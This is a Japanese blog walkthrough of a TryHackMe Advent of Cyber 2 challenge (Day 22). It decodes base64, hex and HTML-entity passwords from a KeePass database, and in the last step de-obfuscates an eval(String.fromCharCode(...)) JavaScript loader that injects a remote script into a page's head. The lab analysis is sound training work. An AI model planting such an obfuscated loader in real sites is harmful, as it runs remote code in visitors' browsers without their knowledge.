[TryHackMe] Advent of Cyber 2, Day 22 - Walkthrough -

本稿では、[TryHackMe](https://tryhackme.com/)にて提供されている「[Advent of Cyber 2](https://tryhackme.com/room/adventofcyber2)」ルームに関する攻略方法（Walkthrough）について検証します。
「Advent of Cyber 2」は「free room」（無料）で提供されています。購読を必要とせずに仮想マシンを「展開（Deploy）」することができます。

>『Advent of Cyber 2』のWalkthroughインデックスを「[[TryHackMe] Advent of Cyber 2に参加してみた](https://qiita.com/v_avenger/items/ac9092374e5bf16a2dd0)」にて公開しました。

# [Day 22] Blue Teaming: Elf McEager becomes CyberElf
## ストーリー

>ここ数日、`The Best Festival Company`では奇妙なことが起こっています。エルフ・McEagerには、危険にさらされたエンドポイントを完全に調査する時間がなく、また、ワークステーションのイメージを再作成する時間もありませんでした。エルフ・McEagerは、バックアップシステムの一つである別のワークステーションにログインすることにしました。
>
>エルフ・McEager はログインしてみますが、驚いたことに、パスワードマネージャーにログインできませんでした。マスターキーを受け入れていないのです。彼は、フォルダ名が奇妙な名前に変更されていることに気付きました。

## タスク
パスワードマネージャにアクセスし、[CyberChef](https://gchq.github.io/CyberChef/)を使用してパスワードマネージャ内の値をデコードする必要があります。

## Day 22 - #1.
>What is the password to the KeePass database?

`C:\Users\Administrator\Desktop`上のフォルダ名に注目します。

![Desktop.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/3932a3ae-1136-e18d-975c-a6871552ac2f.png)

```
dGhlZ3JpbmNod2FzaGVyZQ==
```

### Pythonによるデコード
末尾の`==`から`BASE64`にてエンコードされていることが想像できます。`Python`でデコードを試みます。

```Python
Python 3.7.4 (default, Aug 13 2019, 15:17:50) 
[Clang 4.0.1 (tags/RELEASE_401/final)] :: Anaconda, Inc. on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> strings = b"dGhlZ3JpbmNod2FzaGVyZQ=="
>>> base64.b64decode(strings).decode()
theg{BLOCKED}here
```

別解、`codecs()`を使用します。

```Python
>>> import codecs
>>> strings = b"dGhlZ3JpbmNod2FzaGVyZQ=="
>>> codecs.decode(strings, "base64")
b'theg{BLOCKED}here'
```

## Day 22 - #2.
>What is the encoding method listed as the 'Matching ops'?

`Day 22 - #1`にて解答済みです。どんな処理をすればよいかわからない場合は[CyberChef](https://gchq.github.io/CyberChef/)の`Magic`を使用することで特定できます。
![Magic.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/f0009057-23ab-9845-843a-00f338b25615.png)

## Day 22 - #3.
>What is the decoded password value of the Elf Server?

`KeePass`を起動します。このときの`Master Password`は`Day 22 - #1`の解答です。
![KeePass.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/138809f9-caee-6821-1b7b-4a07f490a027.png)

`Elf Server`のパスワードについて確認します。
![Elf.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/934d6c79-79ac-bb61-118d-54ee375fedf6.png)

```
736e30774d346e21
```

数字とアルファベットの表記から「16進数（HEX）」表記であることが推測できます。

### CyberChefによるデコード

![HEX.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/2c8ae930-b9ca-d358-5fe5-ed0a80a5ba8d.png)

### Pythonによるデコード

```Python
>>> import codecs
>>> strings = "736e30774d346e21"
>>> codecs.decode(strings, "hex")
b'sn{BLOCKED}n!'
```

## Day 22 - #4.
>What is the decoded password value for ElfMail?

`ElfMail`のパスワードについて確認します。
![ElfMail.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/c6186110-3cf6-42f4-f83e-923883312277.png)

```
&#105;&#99;&#51;&#83;&#107;&#97;&#116;&#105;&#110;&#103;&excl;
```

「**&#**10進数コード**；**」の表記から「数値文字参照（Character References）」表記であることが推測出来ます。

### CyberChefによるデコード

![UTF8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/b788098f-85b3-c6d5-b964-a790b1a7f19f.png)

### Pythonによるデコード

```Python
>>> import html
>>> strings = "&#105;&#99;&#51;&#83;&#107;&#97;&#116;&#105;&#110;&#103;&excl;"
>>> print(html.unescape(strings))
ic{BLOCKED}g!
```

## Day 22 - #5.
>Decode the last encoded value. What is the flag?

`Elf Security System`のパスワードが保存されていることが確認できます。
![Elf Security System.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/54ee7ba2-9873-be49-05dd-3df0b993e496.png)

```
eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 51, 44, 32, 49, 48, 53, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 51, 44, 32, 49, 48, 53, 44, 32, 49, 49, 54, 44, 32, 49, 48, 52, 44, 32, 49, 49, 55, 44, 32, 57, 56, 44, 32, 52, 54, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 49, 48, 49, 44, 32, 49, 49, 48, 44, 32, 49, 49, 52, 44, 32, 57, 55, 44, 32, 49, 48, 53, 44, 32, 49, 50, 50, 44, 32, 57, 55, 44, 32, 52, 55, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 52, 57, 44, 32, 52, 57, 44, 32, 49, 48, 48, 44, 32, 53, 49, 44, 32, 53, 48, 44, 32, 52, 57, 44, 32, 53, 48, 44, 32, 53, 50, 44, 32, 53, 50, 44, 32, 57, 57, 44, 32, 53, 50, 44, 32, 49, 48, 48, 44, 32, 53, 52, 44, 32, 53, 52, 44, 32, 53, 53, 44, 32, 53, 50, 44, 32, 53, 50, 44, 32, 53, 52, 44, 32, 49, 48, 48, 44, 32, 57, 56, 44, 32, 49, 48, 50, 44, 32, 49, 48, 48, 44, 32, 53, 55, 44, 32, 57, 55, 44, 32, 53, 49, 44, 32, 53, 48, 44, 32, 53, 55, 44, 32, 53, 54, 44, 32, 57, 55, 44, 32, 53, 54, 44, 32, 53, 54, 44, 32, 57, 56, 44, 32, 53, 54, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));
```

`eval()`を使い、文字列を`fromCharCode()`にて処理していることが読み取れます。
文字列は`10進数`を`Comma`文字で区切っています。

### CyberChefによるデコード
読み取った特徴を踏まえ、[CyberChef](https://gchq.github.io/CyberChef/)の`From Charcode`を使用して変換します。
![charcode.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/26749dae-2704-70f1-15fa-92109e73f5fd.png)

変換した結果、新たな`fromCharCode()`ブロックが2つ確認できます。

```
String.fromCharCode(104, 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 115, 116, 46, 103, 105, 116, 104, 117, 98, 46, 99, 111, 109, 47, 104, 101, 97, 118, 101, 110, 114, 97, 105, 122, 97, 47);
```

```
String.fromCharCode(49, 49, 100, 51, 50, 49, 50, 52, 52, 99, 52, 100, 54, 54, 55, 52, 52, 54, 100, 98, 102, 100, 57, 97, 51, 50, 57, 56, 97, 56, 56, 98, 56))
```

そこで、`From Charcode`による変換を2回行います。
![charcode2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/b4e80109-17c5-39d3-4bba-b7201ff286db.png)

### Unmaskit Decoderによるデコード
別解、Sucuriが提供している[Unmaskit Decoder](https://unmaskit.online/)を使用します。

![Unmaskit Decoder.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/096d5c8c-046d-8dab-47ff-967a2f374292.png)

```javascript
eval('var somestring = document.createElement(\'script\'); somestring.type = \'text/javascript\'; somestring.async = true;somestring.src = 'hhttps://gist.github.com/heavenraiza/';   var alls = document.getElementsByTagName(\'script\'); var nt3 = true; for ( var i = alls.length; i--;) { if (alls[i].src.indexOf('11d321244c4d667446dbfd9a3298a88b8') > -1) { nt3 = false;} } if(nt3 == true){document.getElementsByTagName(\"head\")[0].appendChild(somestring); }');
```

[cyberelf](https://gist.github.com/heavenraiza/1d321244c4d667446dbfd9a3298a88b8)リポジトリへ誘導しています。

誘導先にて、フラグが表示されていることが確認できました。
![github.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/3b191cd1-e04f-4236-d976-0506229d03fc.png)

これにて、22日目のミッションが終了です。

# 参考情報
- [base64 --- Base16, Base32, Base64, Base85 データの符号化](https://docs.python.org/ja/3/library/base64.html)
- [codecs --- codec レジストリと基底クラス](https://docs.python.org/ja/3/library/codecs.html)
- [html --- HyperText Markup Language のサポート](https://docs.python.org/ja/3/library/html.html)